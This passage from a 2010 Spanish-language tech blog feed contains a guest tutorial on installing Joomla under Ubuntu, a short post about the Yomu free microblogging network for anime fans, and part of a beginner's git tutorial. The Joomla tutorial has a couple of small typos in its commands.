<p>Para los que les interese un poco más aprender algo de <em>scripting</em>, les cuento que este script contiene varias a respuestas a problemas típicos (extraer campos de una dirección, obtener el nombre sin extensión, entre otros), por lo que revisar el código les puede ser bien útil.</p>
<p>De hecho, comenzaré una serie de artículos donde iremos paso a paso desarrollando este script, desde la ideación, prueba de concepto, pseudocódigo y finalmente el código propiamente tal. Todo esto, para que podamos ir aprendido &#8220;abstracciones&#8221; y responder al <em>cómo</em> programar, más que a &#8220;aprender Bash&#8221;.</p>
<p>PS.- Este artículo va con trackbacks para ambos Felipe y Gon, espero que funcionen.</p>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/12/labs-instants-chile-get-improved-descarga-todos-esos-momentos/" data-text="Labs: Instants Chile Get Improved – Descarga todos esos “momentos”" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;linkname=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F12%2Flabs-instants-chile-get-improved-descarga-todos-esos-momentos%2F&amp;title=Labs%3A%20Instants%20Chile%20Get%20Improved%20%E2%80%93%20Descarga%20todos%20esos%20%E2%80%9Cmomentos%E2%80%9D" id="wpa2a_6">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/12/labs-instants-chile-get-improved-descarga-todos-esos-momentos/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Joomla, gestión de contenidos</title>
		<link>http://www.glatelier.org/2010/09/jomla-gestion-de-contenidos/</link>
		<comments>http://www.glatelier.org/2010/09/jomla-gestion-de-contenidos/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 15:00:22 +0000</pubDate>
		<dc:creator>Pablo Ignacio</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programación para Newbies]]></category>
		<category><![CDATA[Programas]]></category>
		<category><![CDATA[Reviews]]></category>
		<category><![CDATA[instalacion]]></category>
		<category><![CDATA[jomla]]></category>
		<category><![CDATA[manual]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=7635</guid>
		<description><![CDATA[Este artículo fue escrito por Julian Eduardo Onoa Aguirre, bloguero del sitio Somewhere back in Linux…. Agradecemos también su diposición a celebrar con nosotros nuestro primer millón Saludos! Por estos días uno de los mejores blogs que sigo desde hace mas o menos un año llega al millón de visitas. Como blogger puedo decir que [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />
<blockquote><strong><em>Este artículo fue escrito por Julian Eduardo Onoa Aguirre, bloguero del sitio </em></strong><strong><em><a href="http://onoametal.wordpress.com/">Somewhere back in Linux…</a>. Agradecemos también su diposición a celebrar con nosotros nuestro primer millón</em></strong></p></blockquote>
<p><span style="font-family: 'trebuchet ms', sans-serif;">Saludos!</span></p>
<p><span style="font-family: 'trebuchet ms', sans-serif;">Por estos días uno de los mejores blogs que sigo desde hace mas o menos un año llega al millón de visitas. Como blogger puedo decir que llegar a este nivel no es nada sencillo, se requiere muchísimo trabajo y dedicación. Por eso para mí es un gran honor (y un placer!) poder ser partícipe de esta gran fiesta y poder contribuir con un mini-tutorial para celebrar este gran logro que <a href="http://www.glatelier.org/" target="_blank">Geeks &amp; Linux Atelier</a> festeja por lo alto. Aprovecho la oportunidad que me han dado de escribir en su sitio y les traigo un sencillo tutorial de instalacion de joomla! en Ubuntu (de hecho sirve para cualquier distribución Linux) y que espero que sea de utilidad y sobre todo que esté a la altura de los buenos tips que día a día <a href="http://www.glatelier.org/" target="_blank">Geeks &amp; Linux Atelier</a> comparte con todos nosotros. Bueno, manos a la obra&#8230;.</span></p>
<p>Para los que no saben en qué consiste <a href="http://www.joomlaspanish.org/" target="_blank">Joomla!</a>, y sin ir más allá, les dejo la descripción de Wikipedia: &#8220;Joomla! es un sistema de gestión de contenidos, y entre sus principales virtudes está la de permitir editar el contenido de un sitio web de manera sencilla. Es una aplicación de código abierto programada mayoritariamente en PHP bajo una licencia GPL. Este administrador de contenidos puede trabajar en Internet o intranets y requiere de una base de datos MySQL, así como, preferiblemente, de un servidor HTTP Apache.</p>
<p>Sin más preámbulo les voy a indicar como instalé correctamente Joomla! en mi Ubuntu Lucid.</p>
<p><span id="more-7635"></span></p>
<p>Primero que todo debes entender que Joomla! funciona sobre entornos web, y si quieres usarlo en tu equipo debes tener instalado un ambiente web. para esto primero deberás<a href="http://onoametal.wordpress.com/2010/07/11/instalando-nuestro-servidor-lamp-en-ubuntu/" target="_blank"> instalar LAMP en ubuntu</a>. Una vez lo tengas listo, abre una consola y escribe lo siguiente (en este orden):</p>
<p>mkdir joomla<br />
cd joomla<br />
wget <a href="http://joomlacode.org/gf/download/frsrelease/12649/53618/Joomla_1.5.20-Spanish-pack_completo.tar.gz" target="_blank">http://joomlacode.org/gf/download/frsrelease/12649/53618/Joomla_1.5.20-Spanish-pack_completo.tar.gz</a></p>
<p>Con este comando descargarás joomla!. Una vez termine la descarga debes extraer los archivos</p>
<p>tar xvjf Joomla_1.5.20-Spanish-pack_completo.tar.gz</p>
<p>En este momento ya puedes borrar el paquete que descargaste (ojo! No el contenido que acabas de extraer!)</p>
<p>rm -f Joomla_1.5.20-Spanish-pack_completo.tar.gz</p>
<p>Ahora mueve el contenido de joomla a tu carpeta www</p>
<p>cd ..<br />
sudo mv joomla /var/www/</p>
<p>Para que todo funcione correctamente debemos dar permisos de escritura a la carpeta donde instalaremos joomla!, el método más sencillo es</p>
<p>sudo chown -R www-data:www-data /var/www/joomla</p>
<p>Existen otros métodos pero la verdad este me pareció mucho más sencillo :).  Ahora si empecemos a instalar joomla, para esto debes ingresar a esta dirección en tu navegador web favorito</p>
<p><a href="http://localhost/joomla" target="_blank">http://localhost/joomla</a></p>
<p>Si todo está bien, deberás ver una ventana como esta, donde se te pide seleccionar el idioma de instalación:</p>
<p><img class="aligncenter size-medium wp-image-7637" title="Instalador Web de Joomla! - Google Chrome_048" src="http://www.glatelier.org/wp-content/uploads/2010/09/Instalador-Web-de-Joomla-Google-Chrome_048-600x337.jpg" alt="" width="600" height="337" />Luego hará la comprobación de tu sistema verificando que tienes todo configurado para poder trabajar con joomla! sin problemas (si en este paso tienes dudas deja un comentario!):</p>
<p><img class="aligncenter size-medium wp-image-7638" title="Instalador Web de Joomla! - Google Chrome_049" src="http://www.glatelier.org/wp-content/uploads/2010/09/Instalador-Web-de-Joomla-Google-Chrome_049-600x337.jpg" alt="" width="600" height="337" />Aceptas la licencia GNU/GPL de Joomla!</p>
<p><img class="aligncenter size-medium wp-image-7639" title="Instalador Web de Joomla! - Google Chrome_050" src="http://www.glatelier.org/wp-content/uploads/2010/09/Instalador-Web-de-Joomla-Google-Chrome_050-600x337.jpg" alt="" width="600" height="337" />Ahora crearemos la base de datos necesaria para almacenar la información de nuestro sitio, recuerda que debes ingresar los valores que asignaste cuando instalaste MySQL</p>
<p><img class="aligncenter size-medium wp-image-7640" title="Instalador Web de Joomla! - Google Chrome_051" src="http://www.glatelier.org/wp-content/uploads/2010/09/Instalador-Web-de-Joomla-Google-Chrome_051-600x337.jpg" alt="" width="600" height="337" />A continuación te solicitará la configuración FTP. En este caso no haremos nada ya que estamos usando nuestro propio equipo, no hay necesidad de esto.  Finalmente te pedirá que pongas los datos básicos del sitio que vamos a crear:</p>
<p><img class="aligncenter size-medium wp-image-7641" title="Instalador Web de Joomla! - Google Chrome_052" src="http://www.glatelier.org/wp-content/uploads/2010/09/Instalador-Web-de-Joomla-Google-Chrome_052-600x337.jpg" alt="" width="600" height="337" /></p>
<p>Bueno, y eso es todo! Luego te pedirá borrar la carpeta de instalación de instalación, lo puedes hacer con un</p>
<pre>sudo rm -r /var/www/joomla/installation</pre>
<p>Ahora refresca la pagina y listo!</p>
<p>Adicional quiero compartir con ustedes unos excelentes recursos si eres principiante como yo:</p>
<p>Video tutoriales de joomla! que realizó strOngbacker en su canal de youtube y que son bastante buenos para empezar</p>
<p>Este <a href="http://reparaciondepc.cl/blog/descargar-manual-joomla-para-principiantes-en-espanol/">manual de usuario</a> creado por reparaciondepc.cl</p>
<p>Bueno, creo que eso es todo. Y de nuevo felicitaciones a Geeks and Linux Atelier por su excelente trabajo. Espero que los 2 millones sean pronto!</p>
<p>Up the Irons! And the Geeks!</p>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/09/jomla-gestion-de-contenidos/" data-text="Joomla, gestión de contenidos" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;linkname=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fjomla-gestion-de-contenidos%2F&amp;title=Joomla%2C%20gesti%C3%B3n%20de%20contenidos" id="wpa2a_8">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/09/jomla-gestion-de-contenidos/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Yomu &#8211; La red social libre, para otakus</title>
		<link>http://www.glatelier.org/2010/09/yomu-red-social-libre/</link>
		<comments>http://www.glatelier.org/2010/09/yomu-red-social-libre/#comments</comments>
		<pubDate>Sun, 12 Sep 2010 06:17:18 +0000</pubDate>
		<dc:creator>chupy35</dc:creator>
				<category><![CDATA[Desarrollo Web]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Off-Topic]]></category>
		<category><![CDATA[anime]]></category>
		<category><![CDATA[commons]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[creative commons]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Gnu]]></category>
		<category><![CDATA[gpl]]></category>
		<category><![CDATA[otaku]]></category>
		<category><![CDATA[red]]></category>
		<category><![CDATA[social]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[worldanime]]></category>
		<category><![CDATA[worldanime.tv]]></category>
		<category><![CDATA[yomu]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=7483</guid>
		<description><![CDATA[Bueno, primero que nada quiero aclarar que no me gusta el anime ni soy otaku, pero me sorprendió el poder de las herramientas libres como statusnet, y como una web la puede implementar libremente, a un objetivo especifico. Normalmente las redes sociales, al menos las mas famosas (tuiter y cara libro) son privativas, poco éticas [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />Bueno, primero que nada quiero aclarar que no me gusta el anime ni soy otaku, pero me sorprendió el poder de las herramientas libres como <a href="http://http://status.net/">statusnet</a>, y como una web la puede implementar libremente, a un objetivo especifico. Normalmente las redes sociales, al menos las mas famosas (tuiter y cara libro) son privativas, poco éticas por concepto, poca privacidad y promueven un mundo hedonista (y personalmente creo que difundirlas nos lleva a un peor mundo), pero basta de blasfemias, me voy al grano:</p>
<p style="text-align: center;"><a rel="attachment wp-att-7484" href="http://www.glatelier.org/2010/09/yomu-red-social-libre/caca-3/"></a><a rel="attachment wp-att-7484" href="http://www.glatelier.org/2010/09/yomu-red-social-libre/caca-3/"><img class="aligncenter size-large wp-image-7484" title="caca" src="http://www.glatelier.org/wp-content/uploads/2010/09/caca-1024x640.png" alt="" width="558" height="348" /></a><br />
<a href="http://worldanime.tv/estatus"><strong>Yomu</strong></a> es una <strong>red social libre</strong>, de <strong>microblogging</strong> (estilo twitter), basada en el software libre statusnet, esta red social esta enfocada a un publico con gustos similares, en este caso manga, anime, que cuenta con una buena comunidad en ascenso. Algunas de sus características son:</p>
<p><span id="more-7483"></span>-  100%  libre bajo la licencia GPL</p>
<p>- Los mensajes que publique cada usuario, están sujetos a la licencia Creative Commons.</p>
<p>- Hay trending topics, responder con signos, competencias, grupos, linea de tiempo global, geolocalización, entre muchos otros interesantes features.</p>
<p>- Posibilidad de usar Open ID para loguearte.</p>
<p>- Sincronizable con otras redes de Statusnet y la posibilidad de convivir entre si.</p>
<p>Este es solo 1 de varios ejemplos de como el software libre puede ser adaptado  a lo actual, según las necesidades de cada persona. La url es <a href="http://worldanime.tv/estatus">http://worldanime.tv/estatus</a></p>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/09/yomu-red-social-libre/" data-text="Yomu - La red social libre, para otakus" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;linkname=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F09%2Fyomu-red-social-libre%2F&amp;title=Yomu%20%26%238211%3B%20La%20red%20social%20libre%2C%20para%20otakus" id="wpa2a_10">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/09/yomu-red-social-libre/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Acabo de salvar mi vida con git&#8230; Parte 3/5</title>
		<link>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-3-5/</link>
		<comments>http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-3-5/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 15:00:16 +0000</pubDate>
		<dc:creator>PaBLoX</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tutoriales]]></category>
		<category><![CDATA[acabo-de-salvar-mi-vida-con-git]]></category>
		<category><![CDATA[anécdota]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.glatelier.org/?p=6788</guid>
		<description><![CDATA[(&#8230;viene de la segunda y primera parte) Creando nuestro primer proyecto Primero, tenemos que inicializar el proyecto en alguna parte. Digamos que en /home/david/docs/. git init git add . git commit Es decir, iniciamos el repositorio, agregamos todos los archivos que ya existen (si no hay ninguno, no importa), y creamos la primera copia. Ya [...]]]></description>
			<content:encoded><![CDATA[<p id="top" />(&#8230;viene de la <a href="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-2-5/">segunda</a> y <a href="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-1-5/">primera</a> parte)</p>
<h2>Creando nuestro primer proyecto</h2>
<p>Primero, tenemos que inicializar el proyecto en alguna parte. Digamos que en <code>/home/david/docs/</code>.</p>
<p><code class="snip">git init<br />
git add .<br />
git commit</code></p>
<p>Es decir, iniciamos el repositorio, agregamos todos los archivos que ya existen (si no hay ninguno, no importa), y creamos la primera copia. Ya tenemos una copia de nuestro proyecto con git. Ahora, cambiamos un par de archivos (eso me significa abrir OpenOffice.org y hacer un par de cambios en los HTML del proyecto, pero si es código basta con vim, emacs o lo que usen).</p>
<p><span id="more-6788"></span></p>
<p>Veamos lo que ha cambiado:</p>
<p><code class="snip">git diff</code></p>
<p>Es muy fácil.</p>
<p>Si queremos ver las diferencias entre una revisión y otra, basta con</p>
<p><code class="snip">git diff revisión camino</code></p>
<p>Y podemos aplicar parches y cambios de modos. Git va a saber de los cambios que se hicieron.</p>
<p><code class="snip">git apply patch -p0</code></p>
<p>O podemos ver los cambios de manera un poco más reducida, un sumario de cambios y los archivos que no están siendo vigilados por git.</p>
<p><code class="snip">git status</code></p>
<p>Debemos decirle a git cuáles archivos queremos seguir usando y cuáles no. Podemos hacer lo siguiente:</p>
<p><code class="snip">git add ruta/al/archivo</code></p>
<p>para agregar el archivo,</p>
<p><code class="snip">git clean</code></p>
<p>para eliminar todos los archivos que no corresponden a un archivo vigilado por git, o agregar esos archivos al archivo <code>.gitignore</code> si no queremos que vuelvan a aparecer.</p>
<p>Si ya cambiamos algo y queremos volver atrás,</p>
<p><code class="snip">git checkout ruta/al/archivo</code></p>
<p>nos restaurará la última copia. Podemos restaurarlos todos también.</p>
<p>Podemos eliminar archivos</p>
<p><code class="snip">git rm ruta/al/archivo</code></p>
<p>o moverlos</p>
<p><code class="snip">git mv ruta/al/archivo ruta/nueva/al/archivo</code></p>
<p>Y bueno, también funciona sobre directorios.</p>
<p>Esto me<strong> salvó la vida por <em>primera</em> vez</strong> en el proyecto. Son <strong>más de 800 módulos</strong> con varios tipos de archivo; la cantidad de documentación que se genera, por ende, es <strong>bastante</strong>. Todos mis compañeros de trabajo (los desarrolladores, los testers, los señores RMCOBOL y algunos funcionarios encargados del área de negocios) pueden revisar la documentación desde sus propios repositorios y cambiar lo que esté malo o agregar notas (aunque eso no se les permite a todos, recordemos que no todos saben HTML). Trabajo colaborativo FOR THE WIN.</p>
<h2>Subiendo nuestro trabajo al repositorio</h2>
<p>Para subir todos los archivos cambiados al repositorio (que por ahora es local, les dejo de tarea el configurar un repositorio git o pueden usar github.com para sus proyectos open source), pueden usar:</p>
<p><code class="snip">git commit -a</code></p>
<p>Es posible también limitar la subida de archivos a algunos archivos específicos. Es posible agregar un mensaje corto usando <code>-m</code> &#8220;Esto fue lo que hice&#8221;, o bien podemos usar <code>-e vim</code> para editar el registro de cambios. Y podemos usar <code>-v</code> para revisar por última vez el parche generado.</p>
<p>Si nos equivocamos, podemos reeditar la metadata de ese commit con</p>
<p><code class="snip">git commit --ammend</code></p>
<p>o</p>
<p><code class="snip">git reset HEAD^</code></p>
<p>Y sí, <strong>esto me salvó la vida por <em>segunda</em> vez</strong> desde que trabajo aquí. En un commit puse &#8220;La secretaria sale con mi compañero de trabajo&#8221;, por molestar. Y en vez de presionar la tecla de borrado, pulsé Entrar. Bueno, a veces un poco de diversión en el trabajo no es malo. Y la sentencia era mucho más comprometedora que eso, pero para mantener las buenas costumbres, no la pondré. Mejor imagínenlo.</p>
<p>En un par de días más, volveré con las dos últimas partes del artículo. Cuando me comprometí a escribir acá, pensé en escribir cosas lindas, flores y arbolitos, campo, auroras boreales y todo eso; pero lamentablemente el trabajo y el estar lejos de mi familia (y el hecho de que mi español no es de lo mejor, por ende escribir un buen y largo artículo no es tarea fácil para mí) me lo ha impedido.</p>
<blockquote class="information"><p><strong>Off Topic:</strong> Un saludo cariñoso a todos ustedes en Chile, Argentina y los países aledaños que han sido afectados por el 27 de febrero. Estuve siguiendo atentamente las novedades del terremoto paso a paso por televisión. Una reflexión que quiero compartirles: en Estados Unidos hay tornados, pero no afecta tanto porque ellos tienen dinero; en Japón hay maremotos, pero no afecta tanto porque ellos tienen tecnología; en Alemania y los países nórdicos tenemos inviernos muy crudos, pero no nos afecta tanto porque tenemos una buena organización. En Chile ha habido los terremotos más fuertes de la historia, volcanes, maremotos, lluvias, incendios forestales&#8230; pero a pesar de todo, ustedes son los más afortunados, porque tienen <strong><span style="color: #0000ff;">CHI</span>LE<span style="color: #ff0000;">NOS</span></strong>.</p></blockquote>
<p>¡Saludos y nos vemos en la siguiente parte!</p>
<p><strong>Foto:</strong></p>
<ul>
<li><a href="http://www.sxc.hu/photo/207618">Construction &#8211; Hard Hat &amp; Plan</a> por <a href="http://www.sxc.hu/profile/LotusHead">LotusHead</a> « <a href="http://www.sxc.hu/">stock.xchng</a></li>
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/06/acabo-de-salvar-mi-vida-con-git-parte-3-5/" data-text="Acabo de salvar mi vida con git... Parte 3/5" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Facabo-de-salvar-mi-vida-con-git-parte-3-5%2F&amp;linkname=Acabo%20de%20salvar%20mi%20vida%20con%20git%26%238230%3B%20Parte%203%2F5" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" 